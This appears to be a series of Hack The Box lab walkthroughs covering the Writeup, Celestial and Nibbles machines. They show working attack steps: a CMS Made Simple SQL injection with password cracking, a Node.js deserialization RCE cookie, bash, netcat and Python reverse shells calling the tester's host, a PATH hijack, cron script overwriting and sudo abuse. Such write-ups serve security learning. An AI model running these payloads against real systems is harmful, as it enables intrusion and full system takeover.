|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab ( ED25519)
80/tcp open http Apache httpd 2.4.25 (( Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 113.42 seconds
Gobuster HTTP:
root@kali:~# gobuster dir -u http://10.10.10.138/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.138/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302
[ +] User Agent: gobuster/3.0.1
[ +] Timeout: 10s
===============================================================
2019/10/04 16:57:01 Starting gobuster
===============================================================
[ ERROR] 2019/10/04 16:57:07 [!] Get http://10.10.10.138/5: dial tcp 10.10.10.138:80: connect: connection refused
[ ERROR] 2019/10/04 16:57:09 [!] Get http://10.10.10.138/6: dial tcp 10.10.10.138:80: connect: connection refused
Progress: 107 / 220561 ( 0.05%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2019/10/04 16:57:10 Finished
===============================================================
2. Getting User
Sounds like we can’t use gobuster for this box.
At first, try to look at the web page.
There was nothing here. Next, look at the path which is specified in “http-robots.txt”
We can find a web page which “CMS Made Simple ” is used.
In the download page of CMS Made Simple, we can find a link which we can see the content of the package.
In the directory “/trunk/doc”, we can find “CHANGELOG.txt”.
By accessing the “CHANGELOG.txt” on Writeup, we can figure out the version of CMS Made Simple is “2.2.9.1”
root@kali:~# curl http://10.10.10.138/writeup/doc/CHANGELOG.txt
Version 2.2.9.1
-------------------------------
Core - General
- fix to the CmsLayoutStylesheetQuery class
- fix an edge case in the Database\C onnection::DbTimeStamp( ) method
MicroTiny v2.2.4
- Minor fix in error displays.
Phar Installer v1.3.7
- Fix to edge case in step 3 where memory_limit is set to -1
Version 2.2.9 - Blow Me Down
~~~
Then, look for the exploit.
We have bunch of them but we have exploit for close version CMS Made Simple > 2.2.10 - SQL Injection .
root@kali:~# searchsploit CMS made simple
------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| ( /usr/share/exploitdb/)
------------------------------------------------------------------------------------- ----------------------------------------
CMS Made Simple ( CMSMS) Showtime2 - File Upload Remote Code Execution ( Metasploit) | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - ( Authenticated) Remote Code Execution | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - ( Authenticated) Remote Code Execution | exploits/php/webapps/45793.py
CMS Made Simple > 1.12.1 / > 2.1.3 - Web Server Cache Poisoning | exploits/php/webapps/39760.txt
CMS Made Simple > 2.2.10 - SQL Injection | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - ( Authenticated) Arbitrary File Upload | exploits/php/webapps/46546.py
------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Try to run the script to crack the password.
By adding “–crack” and “-w wordlist”, we can get the password hash and crack it.
root@kali:~# python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt
[ +] Salt for password found: 5a599ef579066807
[ +] Username found: jkr
[ +] Email found: jkr@writeup.htb
[ +] Password found: 62def4866937f08cc13bab43bb14e6f7
[ +] Password cracked: raykayjay9
Now, we had following credential.
jkr:raykayjay9
By accessing via SSH, we can obtain a user shell as “jtk”.
root@kali:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
user.txt is in a directory “/home/jkr”
jkr@writeup:~$ pwd
/home/jkr
jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978
3. Getting Root
By running pspy and login with another windows, we can find that When someone login, following command runs.
2019/10/02 12:49:04 CMD: UID = 0 PID = 5837 | sshd: [ accepted]
2019/10/02 12:49:04 CMD: UID = 0 PID = 5838 | sshd: [ accepted]
2019/10/02 12:49:08 CMD: UID = 0 PID = 5839 | sshd: jkr [ priv]
2019/10/02 12:49:08 CMD: UID = 0 PID = 5840 | sh -c /usr/bin/env -i PATH = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/10/02 12:49:09 CMD: UID = 0 PID = 5841 | run-parts --lsbsysinit /etc/update-motd.d
2019/10/02 12:49:09 CMD: UID = 0 PID = 5842 | /bin/sh /etc/update-motd.d/10-uname
2019/10/02 12:49:09 CMD: UID = 0 PID = 5843 | sshd: jkr [ priv]
In following command, only ‘run-parts’ is using relative path.
We can take advantage of this.
2019/10/02 12:49:09 CMD: UID = 0 PID = 5841 | run-parts --lsbsysinit /etc/update-motd.d
On this server, we have “run-parts” in “/bin”.
jkr@writeup:~$ which run-parts
/bin/run-parts
However, we have several directories in the PATH before “/bin” which is writable for users.
jkr@writeup:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
jkr@writeup:~$ ls -l /usr/local/ | grep bin
drwx-wsr-x 2 root staff 20480 Apr 19 04:11 bin
drwx-wsr-x 2 root staff 12288 Apr 19 04:11 sbin
Then, create a reverse shell executable with the name “run-parts” in “/usr/local/sbin”.
jkr@writeup:~$ echo "#! /bin/bash" > /usr/local/bin/run-parts
jkr@writeup:~$ echo "bash -i >& /dev/tcp/10.10.14.30/443 0>&1" >> /usr/local/bin/run-parts
jkr@writeup:~$ chmod +x /usr/local/bin/run-parts
jkr@writeup:~$ cat /usr/local/bin/run-parts
#! /bin/bash
bash -i > & /dev/tcp/10.10.14.30/443 0>&1
After that, launch the netcat listener and login to Writeup with SSH as jkr user.
We can get a reverse shell as a root user.
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.30] from ( UNKNOWN) [ 10.10.10.138] 50656
bash: cannot set terminal process group ( 2460) : Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/# id
id
uid = 0( root) gid = 0( root) groups = 0( root)
As usual, root.txt is in the directory “/root”
root@writeup:/root# cat root.txt
cat root.txt
eeba47f60b48ef92b734f9b6198d7226
05 Oct 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Celestial”.
Complation
49th / 131 boxes
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.85 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-22 11:46 EEST
Nmap scan report for 10.10.10.85
Host is up ( 0.039s latency) .
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2743.74 seconds
gobuster port 3000:
root@kali:~# gobuster dir -u http://10.10.10.85:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .js
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.85:3000
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,307,401,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: js
[ +] Timeout: 10s
===============================================================
2019/09/23 00:13:30 Starting gobuster
===============================================================
===============================================================
2019/09/23 00:43:06 Finished
===============================================================
2. Getting User
By accessing the website on port 3000, we can find unique coolkie base64 encoded.
root@kali:~# curl http://10.10.10.85:3000 -i
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile = eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age= 900; Path = /; Expires = Sun, 29 Sep 2019 06:39:17 GMT; HttpOnly
Content-Type: text/html; charset = utf-8
Content-Length: 12
ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Date: Sun, 29 Sep 2019 06:24:17 GMT
Connection: keep-alive
<h1>404</h1>
Then, try to decode. Since ‘%3D’ is url encoded value of ‘=’, we have to decode it manually.
(Or if we use burp suite, we can use decoder.)
root@kali:~# echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d
{ "username" :"Dummy" ,"country" :"Idk Probably Somewhere Dumb" ,"city" :"Lametown" ,"num" :"2" }
We found some parameters in the cookie.
Then, fuzz this node.js webapp with sending some special values in the cookie.
We can find that if we send “+” as special number, we get following syntax error.
root@kali:~# echo -n '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2+"}' | base64
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt
YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrIn0 =
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrIn0='
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset = utf-8
Content-Length: 1074
Date: Fri, 04 Oct 2019 15:28:48 GMT
Connection: keep-alive
<! DOCTYPE html>
<html lang = "en" >
<head >
<meta charset = "utf-8" >
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of input<br> at /home/sun/server.js:13:29<br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) <br> at next ( /home/sun/node_modules/express/lib/router/route.js:137:13) <br> at Route.dispatch ( /home/sun/node_modules/express/lib/router/route.js:112:3) <br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) <br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params ( /home/sun/node_modules/express/lib/router/index.js:335:12) <br> at next ( /home/sun/node_modules/express/lib/router/index.js:275:10) <br> at cookieParser ( /home/sun/node_modules/cookie-parser/index.js:70:5) <br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) </pre>
</body>
</html>
On the other hand, if we send following as a payload, we don’t get this syntax error
root@kali:~# echo -n '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2+2"}' | base64
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt
YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrMiJ9
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrMiJ9'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset = utf-8
Content-Length: 25
ETag: W/"19-TNVBDF0e2JD28Mnzt96ajQ0A3vw"
Date: Fri, 04 Oct 2019 15:37:37 GMT
Connection: keep-alive
Hey Dummy 2+2 + 2+2 is 26
This means the value of “num” is not used as strings and is used as an argument of eval() or something.
More precisely, the value of “num” is serialized on the web server.
Then, google like following. We can find this blog Exploiting Node.js deserialization bug for Remote Code Execution
nodejs serialization exploit
According to that blog, to build the payload for RCE, we need following node.js code and run it.
root@kali:~# cat buildRCE.js
var y = {
rce : function (){
require( 'child_process' ) .exec( 'uname -a' , function ( error, stdout, stderr) { console.log( stdout) }) ;
} ,
}
var serialize = require( 'node-serialize' ) ;
console.log( "Serialized: \n " + serialize.serialize( y)) ;
root@kali:~# node buildRCE.js
Serialized:
{ "rce" :"_ $$ ND_FUNC $$ _function(){ \n require('child_process').exec('uname -a', function(error, stdout, stderr) { console.log(stdout) }); \n }" }
However, This payload didn’t work for me.
In this article Deserialization Vulnerabilities: Attacking Deserialization in JS , it’s written like During the deserialization process, anything after a special tag \(ND_FUNC\) goes directly to eval function .
This means we don’t need the part “function()” like following.
{ "anything_here" :"_ $$ ND_FUNC $$ _console.log(1)" }
We can check if the payload correctly by writing following script and executing.
Remove the “function(){\n” and “\n }” part at the bottom
(Don’t forget to put a “" for each single quote!!)
root@kali:~# cat serialize.js
var serialize = require( 'node-serialize' ) ;
var payload = '{"rce":"_$$ND_FUNC$$_require(\' child_process\' ) .exec( \' uname -a \' , function ( error, stdout, stderr) { console.log( stdout) }) "}'
serialize.unserialize(payload);
root@kali:~# node serialize.js
Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-6kali1 (2019-07-22) x86_64 GNU/Linux
By combining previous information, we can obtain the payload.
Also, we need a reverse shell payload which we don’t need to use both single quote and double quote.
Meaning we have to merge the followings.
{ "username" :"Dummy" ,"country" :"Idk Probably Somewhere Dumb" ,"city" :"Lametown" ,"num" :"2+2" }
{ "rce" :"_ $$ ND_FUNC $$ _require('child_process').exec('uname -a', function(error, stdout, stderr) { console.log(stdout) });" }
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 443 > /tmp/f
Full Payload:
{ "username" :"Dummy" ,"country" :"Lameville" ,"city" :"Lametown" ,"num" :"_ $$ ND_FUNC $$ _require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 443 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) })" }
Now we had a full payload.
We need base64 encoding for the payload and make sure to run a netcat listener.
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IkxhbWV2aWxsZSIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6Il8kJE5EX0ZVTkMkJF9yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMzAgNDQzID4vdG1wL2YnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRlcnIpIHsgY29uc29sZS5sb2coc3Rkb3V0KSB9KSJ9'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset = utf-8
Content-Length: 1072
Date: Sat, 05 Oct 2019 06:05:46 GMT
Connection: keep-alive
<! DOCTYPE html>
<html lang = "en" >
<head >
<meta charset = "utf-8" >
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected identifier<br> at /home/sun/server.js:13:29<br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) <br> at next ( /home/sun/node_modules/express/lib/router/route.js:137:13) <br> at Route.dispatch ( /home/sun/node_modules/express/lib/router/route.js:112:3) <br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) <br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params ( /home/sun/node_modules/express/lib/router/index.js:335:12) <br> at next ( /home/sun/node_modules/express/lib/router/index.js:275:10) <br> at cookieParser ( /home/sun/node_modules/cookie-parser/index.js:70:5) <br> at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5) </pre>
</body>
</html>
Now we got a reverse shell as a user “sun”.
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.30] from ( UNKNOWN) [ 10.10.10.85] 56418
/bin/sh: 0: can't access tty; job control turned off
$ whoami
sun
user.txt is in the directory “/home/sun/Documents”.
$ pwd
/home/sun/Documents
$ ls
script.py
user.txt
$ cat user.txt
9a093cd22ce86b7f41db4116e80d0b0f
3. Getting Root
In the syslog, we can confirm that cron is running “/home/sun/Documents/script.py” in every 5 minutes.
$ tail syslog
Oct 5 02:05:46 sun gnome-session[3685]: at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct 5 02:05:46 sun gnome-session[3685]: at next ( /home/sun/node_modules/express/lib/router/route.js:137:13)
Oct 5 02:05:46 sun gnome-session[3685]: at Route.dispatch ( /home/sun/node_modules/express/lib/router/route.js:112:3)
Oct 5 02:05:46 sun gnome-session[3685]: at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct 5 02:05:46 sun gnome-session[3685]: at /home/sun/node_modules/express/lib/router/index.js:281:22
Oct 5 02:05:46 sun gnome-session[3685]: at Function.process_params ( /home/sun/node_modules/express/lib/router/index.js:335:12)
Oct 5 02:05:46 sun gnome-session[3685]: at next ( /home/sun/node_modules/express/lib/router/index.js:275:10)
Oct 5 02:05:46 sun gnome-session[3685]: at cookieParser ( /home/sun/node_modules/cookie-parser/index.js:70:5)
Oct 5 02:05:46 sun gnome-session[3685]: at Layer.handle [ as handle_request] ( /home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct 5 02:10:01 sun CRON[8246]: ( root) CMD ( python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d " $( date -R -r /home/sun/Documents/user.txt) " /home/sun/Documents/script.py)
Since we have write permission for “/home/sun/Documents/script.py”, we can take advantage of that.
We can find a short python payload on the Pentestmonkey
oot@kali:~# cat python_rshell.txt
import socket,subprocess,os;
s = socket.socket( socket.AF_INET,socket.SOCK_STREAM) ;
s.connect(( "10.10.14.30" ,8080)) ; os.dup2( s.fileno() ,0) ;
os.dup2( s.fileno() ,1) ; os.dup2( s.fileno() ,2) ; p = subprocess.call([ "/bin/sh" ,"-i" ]) ;
Then, prepare needed command like following.
root@kali:~# cat python_rshell.txt
echo 'import socket,subprocess,os;' > script.py
echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' >> script.py
echo 's.connect(("10.10.14.30",8080));os.dup2(s.fileno(),0);' >> script.py
echo 'os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> script.py
Then, run these commands on the window which we got a reverse shell as a user.
$ echo 'import socket,subprocess,os;' > script.py
$ echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' >> script.py
$ echo 's.connect(("10.10.14.30",8080));os.dup2(s.fileno(),0);' >> script.py
$ echo 'os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> script.py
Make sure to launch the reverse shell listener.
Now we can achieve a reverse shell as a root user.
root@kali:~# nc -nlvp 8080
listening on [ any] 8080 ...
connect to [ 10.10.14.30] from ( UNKNOWN) [ 10.10.10.85] 48518
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is in the directory “/root”.
# pwd
/root
# cat root.txt
ba1d0019200a54e370ca151007a8095a
29 Sep 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Nibbles”.
Complation: 48th / 131 boxes
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.75 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-29 09:43 EEST
Nmap scan report for 10.10.10.75
Host is up ( 0.039s latency) .
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 ( RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 ( ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 ( ED25519)
80/tcp open http Apache httpd 2.4.18 (( Ubuntu))
|_http-server-header: Apache/2.4.18 ( Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.33 seconds
2. Getting User
We have only one port interesting which is 80 (HTTP) and sounds there is nothing here.
By running curl, we can find an interesting comment on the webpage.
root@kali:~# curl -i http://10.10.10.75
HTTP/1.1 200 OK
Date: Sun, 29 Sep 2019 06:55:53 GMT
Server: Apache/2.4.18 ( Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html
<b>Hello world!</b>
<! -- /nibbleblog/ directory. Nothing interesting here! -- >
It said there is nothing interesting there. However, it is an interesting website.
try to gobuster again.
In the “README”, we can see that current version of this “Nibbleblog” is “v4.0.3”.
root@kali:~# gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.75/nibbleblog/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,307,401,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: php
[ +] Timeout: 10s
===============================================================
2019/09/29 10:20:13 Starting gobuster
===============================================================
/index.php ( Status: 200)
/sitemap.php ( Status: 200)
/content ( Status: 301)
/themes ( Status: 301)
/feed.php ( Status: 200)
/admin ( Status: 301)
/admin.php ( Status: 200)
/plugins ( Status: 301)
/install.php ( Status: 200)
/update.php ( Status: 200)
/README ( Status: 200)
/languages ( Status: 301)
===============================================================
2019/09/29 10:50:00 Finished
===============================================================
Since we had juicy information “Nibbleblog v4.0.3”, try to look for well-known exploit.
root@kali:~# searchsploit nibble
------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| ( /usr/share/exploitdb/)
------------------------------------------------------- ----------------------------------------
Nibbleblog 3 - Multiple SQL Injections | exploits/php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload ( Metasploit) | exploits/php/remote/38489.rb
------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Sounds there is a RCE with metasploit.
However, we need a guessing to figure out what is the credential.
This time, the username is same as default and password is the server name.
admin:nibbles
Then, try to execute RCE with following procedure.
msf5 > search nibble
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
msf5 > use exploit/multi/http/nibbleblog_file_upload
msf5 exploit( multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
rhost => 10.10.10.75
msf5 exploit( multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf5 exploit( multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf5 exploit( multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
targeturi => /nibbleblog
msf5 exploit( multi/http/nibbleblog_file_upload) > run
[ * ] Started reverse TCP handler on 10.10.14.30:4444
[ * ] Sending stage ( 38247 bytes) to 10.10.10.75
[ * ] Meterpreter session 1 opened ( 10.10.14.30:4444 -> 10.10.10.75:37036) at 2019-09-29 11:25:40 +0300
[ +] Deleted image.php
meterpreter > getuid
Server username: nibbler ( 1001)
Now we got a meterpreter shell.
user.txt is in the directory “/home/nibbler”.
meterpreter > ls
Listing: /home/nibbler
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 0 fil 2017-12-29 12:29:56 +0200 .bash_history
40775/rwxrwxr-x 4096 dir 2017-12-11 05:04:04 +0200 .nano
100400/r-------- 1855 fil 2017-12-11 05:07:21 +0200 personal.zip
100400/r-------- 33 fil 2017-12-11 05:35:21 +0200 user.txt
meterpreter > cat user.txt
b02ff32bb332deba49eeaed21152c8d8
3. Getting Root
Currently, we have a meterpreter shell.
To do more enumeration, obtain a full shell like following.
meterpreter > shell
Process 1716 created.
Channel 1 created.
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/home/nibbler$
By the command “sudo -l”, we can find that nibbler can run “/home/nibbler/personal/stuff/monitor.sh” as sudo with no password.
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
sudo : unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path = /usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin\: /snap/bin
User nibbler may run the following commands on Nibbles:
( root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Then, create the file “/home/nibbler/personal/stuff/monitor.sh” with content to spawn root shell.
nibbler@Nibbles:/home/nibbler$ mkdir -p /home/nibbler/personal/stuff/
mkdir -p /home/nibbler/personal/stuff/
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "sudo su" > monitor.sh
echo "sudo su" > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
chmod +x monitor.sh
Finally, execute the “monitor.sh”. It takes time a bit but we can ahieve a root shell.
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
sudo : unable to resolve host Nibbles: Connection timed out
sudo : unable to resolve host Nibbles: Connection timed out
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid = 0( root) gid = 0( root) groups = 0( root)
root.txt is in the directory “/root”.
root@Nibbles:~# cat root.txt
cat root.txt
b6d745c0dfb6457c55591efc898ef88c